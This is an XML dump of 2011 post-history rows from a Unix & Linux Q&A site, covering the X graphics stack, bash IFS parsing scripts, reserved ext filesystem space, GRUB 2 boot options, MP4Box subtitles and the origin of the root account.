  <row Id="18668" PostHistoryTypeId="2" PostId="7947" RevisionGUID="2392ba79-fff6-4e47-ac55-9572d7dbff33" CreationDate="2011-02-24T09:28:05.750" UserId="2642" Text="First of all, there is really no Linux graphics stack. Linux has no graphical display capabilities.&#xD;&#xA;&#xD;&#xA;However, Linux applications can use graphical displays and there are a number of different systems for doing that. The most common ones are all built on top of X windows.&#xD;&#xA;&#xD;&#xA;X is a network protocol because in the middle of an X protocol stack you can have a network as a standard component. Let's look at a specific use case. A physicist in Berlin wants to run an experiment at the CERN in Switzerland on one of the nuclear particle colliders. He logs in remotely and runs a data analysis program on one of CERN's supercomputer arrays and graphs the results on his screen.&#xD;&#xA;&#xD;&#xA;In Berlin, the physicist has an X-terminal device running some X-server software that is providing a graphical display capability to remote applications. The X-server software has a framebuffer that talks to the specific device driver for the specific hardware. And the X-server software speaks the X protocol. So the layers might be graphical device-&gt;device driver-&gt;frame buffer-&gt;X server-&gt;X protocol.&#xD;&#xA;&#xD;&#xA;Then, in Switzerland, the application connects to a display using the X protocol and sends graphic display commands like &quot;draw rectangle&quot; or &quot;alpha blend&quot;. The application probably uses a high level graphical library and that library will likely, in turn, be based on a lower level library. For instance the application may be written in Python using the WxWidget toolkit which is built on top of GTK which uses a library called Cairo for core graphical drawing commands. There may also be OPENGL also on top of Cairo. The layers might be like this: WxWidgets-&gt;GTK-&gt;Cairo-&gt;X Toolkit-&gt;X protocol. Clearly it is the protocol in the middle that connects things, and since Linux also supports UNIX sockets, a completely internal transport for data, these two types of things can run on one machine if you want to.&#xD;&#xA;&#xD;&#xA;X refers to the protocol and anything fundamental to the architecture such as the X-server that runs the graphical display, pointing device and keyboard.&#xD;&#xA;&#xD;&#xA;GTK and QT are two general purpose GUI libraries that support windows, dialogs, buttons, etc.&#xD;&#xA;&#xD;&#xA;GNOME and KDE are two desktop environments that manage the windows on the graphical desktop, provide useful applets and thingies like button bars. They also allow multiple applications to communicate through the X-server (X-terminal device) even if the apps are running on different remote computers. For instance copy and paste is a form of interapplication communication. GNOME is built on top of GTK. KDE is build on top of QT. And it is possible to run GNOME apps on a KDE desktop or KDE apps on a GNOME desktop because they all work with the same underlying X-protocol.&#xD;&#xA;" />
  <row Id="18669" PostHistoryTypeId="5" PostId="6855" RevisionGUID="6ca818a0-04db-4da6-9e49-47ad6560226e" CreationDate="2011-02-24T10:04:43.430" UserId="688" Comment="make clearer" Text="I know how I can send files to a specific directory on a remote server using ssh, but I don't know how to specify it.&#xD;&#xA;" />
  <row Id="18670" PostHistoryTypeId="4" PostId="6855" RevisionGUID="6ca818a0-04db-4da6-9e49-47ad6560226e" CreationDate="2011-02-24T10:04:43.430" UserId="688" Comment="make clearer" Text="How to specify where files are transferred to using ssh" />
  <row Id="18675" PostHistoryTypeId="2" PostId="7948" RevisionGUID="b0ec80ee-4a67-4812-9dfe-61372c8dc25d" CreationDate="2011-02-24T10:30:18.677" UserId="4858" Text="Linux on desktop and some servers is still all X and frame buffer graphics.&#xD;&#xA;Under X window -It comes GTK+ and Qt, YES BOTH uses X system, again there are lot of desktop environments - Gnome, KDE uses X display and their shells, etc.&#xD;&#xA;&#xD;&#xA;Btw, There was a recent video from linux conf (http://blip.tv/file/4693305/). Keith Packard from Intel spoken about X and GL* It was interesting. " />
  <row Id="18676" PostHistoryTypeId="2" PostId="7949" RevisionGUID="dd67b04f-6d13-4003-8ee1-efbfdd9b3f9c" CreationDate="2011-02-24T10:38:21.470" UserId="2343" Text="As bash IFS does not provide an in-house way to treat consecutive delimiter chars as a single delimiter (for non-whitespace delimiters), I have put together an all bash version (vs.using an external call eg. tr, awk, sed)      &#xD;&#xA;&#xD;&#xA;It can handle mult-char IFS..  &#xD;&#xA;&#xD;&#xA;Here are its execution-time resu;ts, along with similar tests for the `tr` and `awk` options shown on this Q/A page... The tests are based on 10000 itterations of just building the arrray (with no I/O )...      &#xD;&#xA;&#xD;&#xA;    pure bash     3.174s (28 char IFS)&#xD;&#xA;    call (awk) 0m32.210s  (1 char IFS) &#xD;&#xA;    call (tr)  0m32.178s  (1 char IFS) &#xD;&#xA;&#xD;&#xA;---  &#xD;&#xA;&#xD;&#xA;Here is the output  &#xD;&#xA;&#xD;&#xA;    # dlm_str  = :.~!@#$%^&amp;()_+-=`}{][ &quot;;&gt;&lt;/,&#xD;&#xA;    # original = :abc:.. def:.~!@#$%^&amp;()_+-=`}{][ &quot;;&gt;&lt;/,'single*quote?'..123:&#xD;&#xA;    # unified  = :abc::::def::::::::::::::::::::::::::::'single*quote?'::123:&#xD;&#xA;    # max-w 2^ = ::::::::::::::::&#xD;&#xA;    # shrunk.. = :abc:def:'single*quote?':123:&#xD;&#xA;    # arr[0] &quot;abc&quot;&#xD;&#xA;    # arr[1] &quot;def&quot;&#xD;&#xA;    # arr[2] &quot;'single*quote?'&quot;&#xD;&#xA;    # arr[3] &quot;123&quot;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Here is the script   &#xD;&#xA; &#xD;&#xA;    #!/bin/bash&#xD;&#xA;&#xD;&#xA;    # Note: This script modifies the source string. &#xD;&#xA;    #       so work with a copy, if you need the original. &#xD;&#xA;    # also: Use the name varG (Global) it's required by 'shrink_repeat_chars'&#xD;&#xA;    #&#xD;&#xA;    # NOTE: * asterisk      in IFS causes a regex(?) issue,     but  *  is ok in data. &#xD;&#xA;    # NOTE: ? Question-mark in IFS causes a regex(?) issue,     but  ?  is ok in data. &#xD;&#xA;    # NOTE: 0..9 digits     in IFS causes empty/wacky elements, but they're ok in data.&#xD;&#xA;    # NOTE: ' single quote  in IFS; don't know yet,             but  '  is ok in data.&#xD;&#xA;    # &#xD;&#xA;    function shrink_repeat_chars () # A 'tr -s' analog&#xD;&#xA;    {&#xD;&#xA;      # Shrink repeating occurrences of char&#xD;&#xA;      #&#xD;&#xA;      # $1: A string of delimiters which when consecutively repeated and are       &#xD;&#xA;      #     considered as a shrinkable group. A example is: &quot;   &quot; whitespace delimiter.&#xD;&#xA;      #&#xD;&#xA;      # $varG  A global var which contains the string to be &quot;shrunk&quot;.&#xD;&#xA;      #&#xD;&#xA;    # echo &quot;# dlm_str  = $1&quot; &#xD;&#xA;    # echo &quot;# original = $varG&quot; &#xD;&#xA;      dlms=&quot;$1&quot;        # arg delimiter string&#xD;&#xA;      dlm1=${dlms:0:1} # 1st delimiter char  &#xD;&#xA;      dlmw=$dlm1       # work delimiter  &#xD;&#xA;      # More than one delimiter char&#xD;&#xA;      # ============================&#xD;&#xA;      # When a delimiter contains more than one char.. ie (different byte` values),    &#xD;&#xA;      # make all delimiter-chars in string $varG the same as the 1st delimiter char.&#xD;&#xA;      ix=1;xx=${#dlms}; &#xD;&#xA;      while ((ix&lt;xx)) ; do # Where more than one delim char, make all the same in varG  &#xD;&#xA;        varG=&quot;${varG//${dlms:$ix:1}/$dlm1}&quot;&#xD;&#xA;        ix=$((ix+1))&#xD;&#xA;      done&#xD;&#xA;    # echo &quot;# unified  = $varG&quot; &#xD;&#xA;      #&#xD;&#xA;      # Binary shrink&#xD;&#xA;      # =============&#xD;&#xA;      # Find the longest required &quot;power of 2' group needed for a binary shrink&#xD;&#xA;      while [[ &quot;$varG&quot; =~ .*$dlmw$dlmw.* ]] ; do dlmw=$dlmw$dlmw; done # double its length&#xD;&#xA;    # echo &quot;# max-w 2^ = $dlmw&quot;&#xD;&#xA;      #&#xD;&#xA;      # Shrik groups of delims to a single char&#xD;&#xA;      while [[ ! &quot;$dlmw&quot; == &quot;$dlm1&quot; ]] ; do&#xD;&#xA;        varG=${varG//${dlmw}$dlm1/$dlm1}&#xD;&#xA;        dlmw=${dlmw:$((${#dlmw}/2))}&#xD;&#xA;      done&#xD;&#xA;      varG=${varG//${dlmw}$dlm1/$dlm1}&#xD;&#xA;    # echo &quot;# shrunk.. = $varG&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    # Main&#xD;&#xA;      varG=':abc:.. def:.~!@#$%^&amp;()_+-=`}{][ &quot;;&gt;&lt;/,'\''single*quote?'\''..123:' &#xD;&#xA;      sfi=&quot;$IFS&quot;; IFS=':.~!@#$%^&amp;()_+-=`}{][ &quot;;&gt;&lt;/,' # save original IFS and set new multi-char IFS&#xD;&#xA;      set -f                                         # disable globbing&#xD;&#xA;      shrink_repeat_chars &quot;$IFS&quot; # The source string name must be $varG&#xD;&#xA;      arr=(${varG:1})    # Strip leading dlim;  A single trailing dlim is ok (strangely&#xD;&#xA;      for ix in ${!arr[*]} ; do  # Dump the array&#xD;&#xA;         echo &quot;# arr[$ix] \&quot;${arr[ix]}\&quot;&quot;&#xD;&#xA;      done&#xD;&#xA;      set +f     # re-enable globbing   &#xD;&#xA;      IFS=&quot;$sfi&quot; # re-instate the original IFS&#xD;&#xA;      #&#xD;&#xA;    exit&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18677" PostHistoryTypeId="2" PostId="7950" RevisionGUID="53eb79c9-ad75-4aa2-a011-84bca83c5f82" CreationDate="2011-02-24T11:03:53.447" UserId="5067" Text="Hi,&#xD;&#xA;&#xD;&#xA;I understand that by default, newly created filesystems will be created with 5% of the space allocated for root. I also know you can change the defined space with:&#xD;&#xA;&#xD;&#xA;    tune2fs -m 1 /dev/sdXY&#xD;&#xA;&#xD;&#xA;What I'm curious about though, is what the actual purpose for this reserved space is. Does it serve any practical purpose which would merit more than 5% space in some circumstances?&#xD;&#xA;&#xD;&#xA;The reason I've stumbled upon this question is that we recently built a 1TB filestore, and couldn't quite figure out why a df -h left us missing 5% of our capacity :)&#xD;&#xA;&#xD;&#xA;Much appreciated,&#xD;&#xA;Foxed&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18678" PostHistoryTypeId="1" PostId="7950" RevisionGUID="53eb79c9-ad75-4aa2-a011-84bca83c5f82" CreationDate="2011-02-24T11:03:53.447" UserId="5067" Text="Reserved space for root on a filesystem - why?" />
  <row Id="18679" PostHistoryTypeId="3" PostId="7950" RevisionGUID="53eb79c9-ad75-4aa2-a011-84bca83c5f82" CreationDate="2011-02-24T11:03:53.447" UserId="5067" Text="éfilesystemsàépartitionàérootà" />
  <row Id="18680" PostHistoryTypeId="5" PostId="7832" RevisionGUID="3885e5a5-d070-48fd-95fd-b7f4c054a48b" CreationDate="2011-02-24T11:05:02.130" UserId="2343" Comment="Mention limitations, and alternatives" Text="**UPDATE** Please note that making an array this way is suitable only when IFS is a single non-whitespace character **and** there are no multiple-consecutive delimiters in the data string.  &#xD;&#xA;For a way around this issue, and a similar solution, go to this [Unix &amp; Linux question](http://unix.stackexchange.com/questions/7904/can-ifs-internal-field-separator-function-as-a-single-seperator-for-multiple-co/7949#7949) ... (and it is worth the read just to get more of an insight into IFS.&#xD;&#xA;&#xD;&#xA;---   &#xD;&#xA;   &#xD;&#xA;Use bash (and other POSIX shells, e.g. ash, ksh, zsh)'s `IFS` (Internal Field Seperator).&#xD;&#xA;&#xD;&#xA;Using IFS avoids an external call, and it simply allows for embeded spaces.   &#xD;&#xA;&#xD;&#xA;    # ==============&#xD;&#xA;      A='token0:token1:token2.y   token2.z '&#xD;&#xA;      echo normal. $A&#xD;&#xA;    # Save IFS; Change IFS to &quot;:&quot; &#xD;&#xA;      SFI=$IFS; IFS=:     ##### This is the important bit part 1a &#xD;&#xA;      set -f              ##### ... and part 1b: disable globbing&#xD;&#xA;      echo changed $A&#xD;&#xA;      B=($A)  ### this is now parsed at :  (not at the default IFS whitespace) &#xD;&#xA;      echo B...... $B&#xD;&#xA;      echo B[0]... ${B[0]}&#xD;&#xA;      echo B[1]... ${B[1]}&#xD;&#xA;      echo B[2]... ${B[2]}&#xD;&#xA;      echo B[@]... ${B[@]}&#xD;&#xA;    # Reset the original IFS&#xD;&#xA;      IFS=$SFI             ##### Important bit part 2a&#xD;&#xA;      set +f               ##### ... and part 2b&#xD;&#xA;      echo normal. $A&#xD;&#xA;    &#xD;&#xA;    # Output&#xD;&#xA;    normal. token0:token1:token2.y token2.z&#xD;&#xA;    changed token0 token1 token2.y   token2.z &#xD;&#xA;    B...... token0&#xD;&#xA;    B[0]... token0&#xD;&#xA;    B[1]... token1&#xD;&#xA;    B[2]... token2.y   token2.z &#xD;&#xA;    B[@]... token0 token1 token2.y   token2.z &#xD;&#xA;    normal. token0:token1:token2.y token2.z&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18681" PostHistoryTypeId="2" PostId="7951" RevisionGUID="c77579d0-c5c2-4e3f-bb45-7bcc05289885" CreationDate="2011-02-24T11:16:56.953" UserId="12" Text="Following on from [this question][1] about stripping newlines out of text, I want to turn this into a zsh alias as follows:&#xD;&#xA;&#xD;&#xA;    alias striplines=' awk &quot; /^$/ {print \&quot;\n\&quot;; } /./ {printf( \&quot; %s \&quot;,$0);}&quot;'&#xD;&#xA;&#xD;&#xA;I've tried escaping the quotes inside the awk script, but I'm getting this error:&#xD;&#xA;&#xD;&#xA;    awk: (FILENAME=bspsrobustness FNR=1) fatal: division by zero attempted&#xD;&#xA;&#xD;&#xA;(The file is called `bspsrobustness`)&#xD;&#xA;&#xD;&#xA;Is there a way to do what I want? I suppose I could turn this into an awk script rather than a zsh alias, is that my best option?&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/6910/12" />
  <row Id="18682" PostHistoryTypeId="1" PostId="7951" RevisionGUID="c77579d0-c5c2-4e3f-bb45-7bcc05289885" CreationDate="2011-02-24T11:16:56.953" UserId="12" Text="Escaping quotes in zsh alias" />
  <row Id="18683" PostHistoryTypeId="3" PostId="7951" RevisionGUID="c77579d0-c5c2-4e3f-bb45-7bcc05289885" CreationDate="2011-02-24T11:16:56.953" UserId="12" Text="ézshàéquotingà" />
  <row Id="18684" PostHistoryTypeId="2" PostId="7952" RevisionGUID="2723ebe9-eb65-4030-8068-b6f49af9e119" CreationDate="2011-02-24T11:20:17.700" UserId="3389" Text="If you allow others to log on to your system, via ssh, for example, having these 5% blocks reserved ensures external users cannot fill the disk.  Even if you don't allow others to log in to your system, the reserved blocks prevents programs not running as root from filling your disk.&#xD;&#xA;" />
  <row Id="18685" PostHistoryTypeId="25" PostId="7950" RevisionGUID="71816158-8045-420a-b2f6-c5f6adb522c9" CreationDate="2011-02-24T11:23:23.110" Comment="http://twitter.com/#!/StackUnix/status/40733522704465920" />
  <row Id="18686" PostHistoryTypeId="2" PostId="7953" RevisionGUID="a9053723-d2a3-4afc-a7e0-9f9630f15483" CreationDate="2011-02-24T11:24:06.450" UserId="2134" Text="Last night, before abandoning my computer for the evening, I started a bunch of compiler jobs so they'd be ready in the morning, using `make -f alpha.mak &amp;&gt;alpha.out &amp;`. When I came back and hit return, I saw the following output:&#xD;&#xA;&#xD;&#xA;    [1]   Done                    make -f alpha.mak &amp;&gt;alpha.out&#xD;&#xA;    [2]-  Done                    make -f beta.mak &amp;&gt;beta.out&#xD;&#xA;    [3]+  Done                    make -f gamma.mak &amp;&gt;gamma.out&#xD;&#xA;&#xD;&#xA;My question: What do the `+` and `-` symbols mean in that output?&#xD;&#xA;&#xD;&#xA;I'm using bash on RedHat 6." />
  <row Id="18687" PostHistoryTypeId="1" PostId="7953" RevisionGUID="a9053723-d2a3-4afc-a7e0-9f9630f15483" CreationDate="2011-02-24T11:24:06.450" UserId="2134" Text="Background task finished notification syntax" />
  <row Id="18688" PostHistoryTypeId="3" PostId="7953" RevisionGUID="a9053723-d2a3-4afc-a7e0-9f9630f15483" CreationDate="2011-02-24T11:24:06.450" UserId="2134" Text="ébashàéshellàéredhatà" />
  <row Id="18689" PostHistoryTypeId="2" PostId="7954" RevisionGUID="0f0d0c01-c626-4888-b685-7132ff9011ce" CreationDate="2011-02-24T11:33:12.380" UserId="4843" Text="I am looking for a solution in which I  can add watermark to the given video at given frame.&#xD;&#xA;&#xD;&#xA;Is there any utility/tool to do so ?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18690" PostHistoryTypeId="1" PostId="7954" RevisionGUID="0f0d0c01-c626-4888-b685-7132ff9011ce" CreationDate="2011-02-24T11:33:12.380" UserId="4843" Text="Video Watermarking" />
  <row Id="18691" PostHistoryTypeId="3" PostId="7954" RevisionGUID="0f0d0c01-c626-4888-b685-7132ff9011ce" CreationDate="2011-02-24T11:33:12.380" UserId="4843" Text="élinuxàévideoöeditingà" />
  <row Id="18692" PostHistoryTypeId="2" PostId="7955" RevisionGUID="c5e5c3c8-0d82-40e4-826f-609fb40c2099" CreationDate="2011-02-24T11:47:34.837" UserId="3046" Text="mencoder can definitely do it, although the folks I know tend to use one of the free Windows apps (so I'm guessing you could run one of them under Wine)&#xD;&#xA;&#xD;&#xA;Also [bmovl][1] should be able to do it. Check out [this thread.][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sault.org/mebox/downloads.php&#xD;&#xA;  [2]: http://forum.videohelp.com/threads/279462-How-to-add-watermark-to-a-video-with-mencoder-or-how-to-scale-with-FFmpeg" />
  <row Id="18693" PostHistoryTypeId="5" PostId="7942" RevisionGUID="7251b31a-eb41-4b39-80c9-51f43a13d00c" CreationDate="2011-02-24T11:54:20.410" UserId="688" Comment="added 80 characters in body" Text="How do you get Adobe's flash video to play on Chromium? Is it [this painful][1], or is there somewhere an extension?&#xD;&#xA;&#xD;&#xA;**NOTE**: On Debian, I install **flashplugin-nonfree** for Mozilla-based browsers. Is there an equivalent package for Chrome?&#xD;&#xA;&#xD;&#xA;**UPDATE**: I needed to re-install **flashplugin-nonfree** for this to work.&#xD;&#xA;&#xD;&#xA;[1]:http://superuser.com/q/17682/" />
  <row Id="18694" PostHistoryTypeId="2" PostId="7956" RevisionGUID="4cacb832-4e1d-4995-b73e-47976261134b" CreationDate="2011-02-24T12:47:47.783" UserId="3635" Text="According to the [Bash Reference Manual: Job Control][1]:&#xD;&#xA;&#xD;&#xA;&gt;In output pertaining to jobs (e.g., the output of the jobs command), the current job is always flagged with a `+', and the previous job with a `-'.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.faqs.org/docs/bashman/bashref_78.html#SEC85" />
  <row Id="18695" PostHistoryTypeId="2" PostId="7957" RevisionGUID="5c44db7c-9dc5-4014-9aea-c2242fdc0757" CreationDate="2011-02-24T12:52:29.137" UserId="1925" Text="If you want to do this programatically `mencoder` is the tool for the job. You'll need a static image (or generate one programatialy with ImageMagic, gd, etc) and some time to play with filters." />
  <row Id="18696" PostHistoryTypeId="5" PostId="7212" RevisionGUID="a0c10b44-eb89-43a4-8b17-76439cc5a4e9" CreationDate="2011-02-24T13:06:52.210" UserId="688" Comment="update" Text="I would like to make a subtitle file to be a part of an mp4 video file, so that I don't have to deal with two separate files.&#xD;&#xA;&#xD;&#xA;I imagine two ways:&#xD;&#xA;&#xD;&#xA;* Make the subtitle an intrinsic part of the video. This will require video re-encoding. I don't see any advantage of this approach.&#xD;&#xA;* Make the subtitle a separate stream, but still embedded in the same video file. This is far more preferable, especially because I can disable it (unlike the other approach), or even play with the font type/size.&#xD;&#xA;&#xD;&#xA;How do I do things the 2nd way? It would be kool to see what the command for the 1st way looks regardless. (2 questions in 1 :)" />
  <row Id="18697" PostHistoryTypeId="2" PostId="7958" RevisionGUID="123faebe-7f22-49cd-b7b6-254c8b55db72" CreationDate="2011-02-24T13:07:26.803" UserId="179" Text="Sun's Project Looking Glass had this feature (or something *very* close to it) but is now more or less dead, sadly.&#xD;&#xA;&#xD;&#xA;One possible way to achieve a similar result would be to use a window manager that allows you to tab windows together (Fluxbox comes to mind), and tab a text editor or other notes app to each window, and use that for your notes." />
  <row Id="18698" PostHistoryTypeId="2" PostId="7959" RevisionGUID="85fd359f-ccd5-4ba6-a516-1640ca1278d8" CreationDate="2011-02-24T13:27:15.533" UserId="688" Text="In old GRUB, if I wanted to change boot options, I would use a line starting with the word `kernel` in &quot;**/boot/grub/menu.lst**&quot;:&#xD;&#xA;&#xD;&#xA;    kernel /vmlinuz root=/dev/sda1 ro MY BOOT OPTIONS&#xD;&#xA;&#xD;&#xA;Now since I'm using GRUB 2, I looked under &quot;**/etc/grub.d/10_Linux**&quot; for something similar, but I'm not even sure that's the right place to do this. If it is, please guide me. If it's not, guide me anyways." />
  <row Id="18699" PostHistoryTypeId="1" PostId="7959" RevisionGUID="85fd359f-ccd5-4ba6-a516-1640ca1278d8" CreationDate="2011-02-24T13:27:15.533" UserId="688" Text="How to change kernel boot options in GRUB 2" />
  <row Id="18700" PostHistoryTypeId="3" PostId="7959" RevisionGUID="85fd359f-ccd5-4ba6-a516-1640ca1278d8" CreationDate="2011-02-24T13:27:15.533" UserId="688" Text="égrub2à" />
  <row Id="18701" PostHistoryTypeId="2" PostId="7960" RevisionGUID="ad016e69-7a42-4748-beac-22bb4560d0e1" CreationDate="2011-02-24T13:47:31.740" UserId="5072" Text="I wonder what's the origin of root account? Where did it come from and why it's called root anyway? &#xD;&#xA;&#xD;&#xA;*Originally asked by @lizztheblizz on Twitter.*&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="18702" PostHistoryTypeId="1" PostId="7960" RevisionGUID="ad016e69-7a42-4748-beac-22bb4560d0e1" CreationDate="2011-02-24T13:47:31.740" UserId="5072" Text="Origin of 'root' account" />
  <row Id="18703" PostHistoryTypeId="3" PostId="7960" RevisionGUID="ad016e69-7a42-4748-beac-22bb4560d0e1" CreationDate="2011-02-24T13:47:31.740" UserId="5072" Text="éhistoryàérootà" />
  <row Id="18704" PostHistoryTypeId="5" PostId="7018" RevisionGUID="94e5341d-0426-4a44-87d0-856ccece0ac9" CreationDate="2011-02-24T14:17:45.090" UserId="688" Comment="deleted 73 characters in body" Text="I can't re-install packages that fulfill at least one of the following criteria:&#xD;&#xA;&#xD;&#xA;* Custom-made packages&#xD;&#xA;* Packages created by **alien** package (e.g. `alien --install pkg.rpm`)&#xD;&#xA;* Packages installed from some repository that is no longer available&#xD;&#xA;* Packages installed from some repository, but is no longer available there&#xD;&#xA;* Packages whose repositories have been removed from &quot;**/etc/apt/sources.list**&quot;&#xD;&#xA;&#xD;&#xA;How do I list any of these packages?&#xD;&#xA;" />
  <row Id="18705" PostHistoryTypeId="5" PostId="7222" RevisionGUID="7a4b3a4b-a064-4836-9e75-db68043abdd5" CreationDate="2011-02-24T14:21:55.223" UserId="2343" Comment="got rid of the dross; deleted 28 characters in body; deleted 1 characters in body" Text="I finally found a way to do it!...  &#xD;&#xA;&#xD;&#xA;I gave up on the ffmpeg option... The documentation says its possible, but I can't figure it out, and it seems that no one has posted a working example on the net. (but lots of questions about it)...  &#xD;&#xA;&#xD;&#xA;So, I got to thinking about what sort of paramaters the Windows MP4Box was using for its subtitles... (the slightest hint can be helpful)... &#xD;&#xA;&#xD;&#xA;As fate had it, in my search I stumbled on something about an mp4 tool being talked about on a Mac oriented site...  well this got me thinking that if that progam is available on the Mac, maybe it is in the Ubuntu repository, and yes, you've guessed it... It is in the repos...&#xD;&#xA;&#xD;&#xA;It is called *'gpoc'*... That's the name of packabe, but the name of the actual commandline program (it is a CLI).. is *MP4Box*  &#xD;&#xA;&#xD;&#xA;Here is an example of what worked for me..&#xD;&#xA;&#xD;&#xA;    MP4Box  -add ~/file.noaudio.mp4 \&#xD;&#xA;            -add ~/file.mp3 \&#xD;&#xA;            -add ~/file.srt \&#xD;&#xA;                 ~/file.MP4Box.mp4   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I used a video-only and audio-only, but it will surely(?) work with a normal audio+video &quot;movie&quot; ....  It's very late so I'll just leave it at that... ...  &#xD;&#xA;   &#xD;&#xA;Note: The subtitles works in Totem, but not in SMPlayer...   &#xD;&#xA;" />
  <row Id="18706" PostHistoryTypeId="25" PostId="7960" RevisionGUID="3bcc715a-4b31-4354-b9fa-7effc3615602" CreationDate="2011-02-24T14:23:23.333" Comment="http://twitter.com/#!/StackUnix/status/40778821133139968" />
  <row Id="18707" PostHistoryTypeId="2" PostId="7961" RevisionGUID="06feafe9-88b8-457d-9525-08cadbb98df6" CreationDate="2011-02-24T14:24:36.567" UserId="3635" Text="According to [Linux Info][1], the origin of the name may have come from file system layout / permissions:&#xD;&#xA;&#xD;&#xA;&gt;The use of the term root for the all-powerful administrative user may have arisen from the fact that root is the only account having write permissions (i.e., permission to modify files) in the root directory. The root directory, in turn, takes its name from the fact that the filesystems (i.e., the entire hierarchy of directories that is used to organize files) in Unix-like operating systems have been designed with a tree-like (although inverted) structure in which all directories branch off from a single directory that is analogous to the root of a tree.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linfo.org/root.html" />
  <row Id="18708" PostHistoryTypeId="5" PostId="7222" RevisionGUID="479b91aa-8f57-4ea3-8a07-2b3fb812736e" CreationDate="2011-02-24T14:29:13.473" UserId="2343" Comment="edited body" Text="I finally found a way to do it!...  &#xD;&#xA;&#xD;&#xA;I gave up on the ffmpeg option... The documentation says its possible, but I can't figure it out, and it seems that no one has posted a working example on the net. (but lots of questions about it)...  &#xD;&#xA;&#xD;&#xA;So, I got to thinking about what sort of paramaters the Windows MP4Box was using for its subtitles... (the slightest hint can be helpful)... &#xD;&#xA;&#xD;&#xA;As fate had it, in my search I stumbled on something about an mp4 tool being talked about on a Mac oriented site...  well this got me thinking that if that progam is available on the Mac, maybe it is in the Ubuntu repository, and yes, you've guessed it... It is in the repos...&#xD;&#xA;&#xD;&#xA;It is called *'gpoc'*... That's the name of package, but the name of the actual commandline program (it is a CLI) is *`MP4Box`*  &#xD;&#xA;&#xD;&#xA;Here is an example of what worked for me..&#xD;&#xA;&#xD;&#xA;    MP4Box  -add ~/file.noaudio.mp4 \&#xD;&#xA;            -add ~/file.mp3 \&#xD;&#xA;            -add ~/file.srt \&#xD;&#xA;                 ~/file.MP4Box.mp4   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I used a video-only and audio-only, but it will surely(?) work with a normal audio+video &quot;movie&quot; ....  It's very late so I'll just leave it at that... ...  &#xD;&#xA;   &#xD;&#xA;Note: The subtitles works in Totem, but not in SMPlayer...   &#xD;&#xA;" />
  <row Id="18709" PostHistoryTypeId="2" PostId="7962" RevisionGUID="91ff4ab3-48ce-43d9-8cb5-1bedd2f9a6c4" CreationDate="2011-02-24T14:35:37.343" UserId="5074" Text="The original home directory of the root user was the root of the filesystem '/' (http://minnie.tuhs.org/cgi-bin/utree.pl?file=V5/etc/passwd). I think the user was indeed named after that directory. But why 'root' and not 'start' or 'origin' or something else? Well, before Ken Thompson and Dennis Ritchie wrote UNIX, they were (also at Bell Labs) developing Multics. If you take a look at Multics history, you will find that ROOT existed there too (http://web.mit.edu/multics-history/source/Multics_Internet_Server/Multics_mdds.html). So the name must come from Multics." />
  <row Id="18710" PostHistoryTypeId="5" PostId="7002" RevisionGUID="e9a4c19a-3537-4cae-832e-dad866496bec" CreationDate="2011-02-24T14:46:17.930" UserId="688" Comment="deleted 59 characters in body" Text="Unless something changed recently GParted is de facto standard tool. The only viable alternative are partially CLI partially GUI tools like cfdisk.&#xD;&#xA;" />
  <row Id="18711" PostHistoryTypeId="2" PostId="7963" RevisionGUID="b17ed568-edb2-4e7d-8ce0-3656b5da6a40" CreationDate="2011-02-24T14:47:15.557" UserId="250" Text="Edit the file `/etc/default/grub` and set your parameter in `GRUB_CMDLINE_LINUX`. For example I have:&#xD;&#xA;&#xD;&#xA;    GRUB_CMDLINE_LINUX=&quot;dolvm&quot;&#xD;&#xA;&#xD;&#xA;I came across this piece of knowledge by googling a while ago, can't really remember where the documentation is." />
  <row Id="18712" PostHistoryTypeId="2" PostId="7964" RevisionGUID="d95dd0e6-3099-49ab-b4eb-80898eb44f52" CreationDate="2011-02-24T14:47:25.393" UserId="116" Text="With the blocks reserved your users, and services that are running as specific users rather than running as root, can not fill a filesystsem and potentially break other things that need to write to said filesystem - though services running as root still can still make it completely full of course.&#xD;&#xA;&#xD;&#xA;It also give you some space to work with when users complain that the disk is full, or services start failing because the filesystem is full. For instance you could archive some files off into zip/gz/7zip archives before removing them (though if the filesystem were completely full, chances are you have some other filesystem available that you could create the archive file in instead).&#xD;&#xA;&#xD;&#xA;5% has been the default for a *long* time, from back when disks were far smaller (tens of megabytes rather then hundreds of gigabytes) so 5% wasn't all that much. Luckily it can easily be tuned down to a smaller percentage as you say, or set to a specific number of blocks if you use `tune2fs`'s `-r` option instead of `-m`. In both cases you can give a parameter of 0 to turn the reservation off completely - I wouldn't do this for `/`, `/tmp`, `/var` and so forth, but you might want to for a filesystem that only acts as user storage (say a global file-share) or one that just holds fixed size files (like fixed sized VMs) that will only grow when you create a new one." />
  <row Id="18713" PostHistoryTypeId="5" PostId="7963" RevisionGUID="3391aafd-699a-4a07-a610-ec2de23d8be4" CreationDate="2011-02-24T14:55:00.160" UserId="250" Comment="added 85 characters in body" Text="Edit the file `/etc/default/grub` and set your parameter in `GRUB_CMDLINE_LINUX`. For example I have:&#xD;&#xA;&#xD;&#xA;    GRUB_CMDLINE_LINUX=&quot;dolvm&quot;&#xD;&#xA;&#xD;&#xA;I learned this from [Ubuntu documentation][1]. Other sources are either too hard to find, or I didn't dig deep enough.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/Grub2#/etc/default/grub%20(file)" />
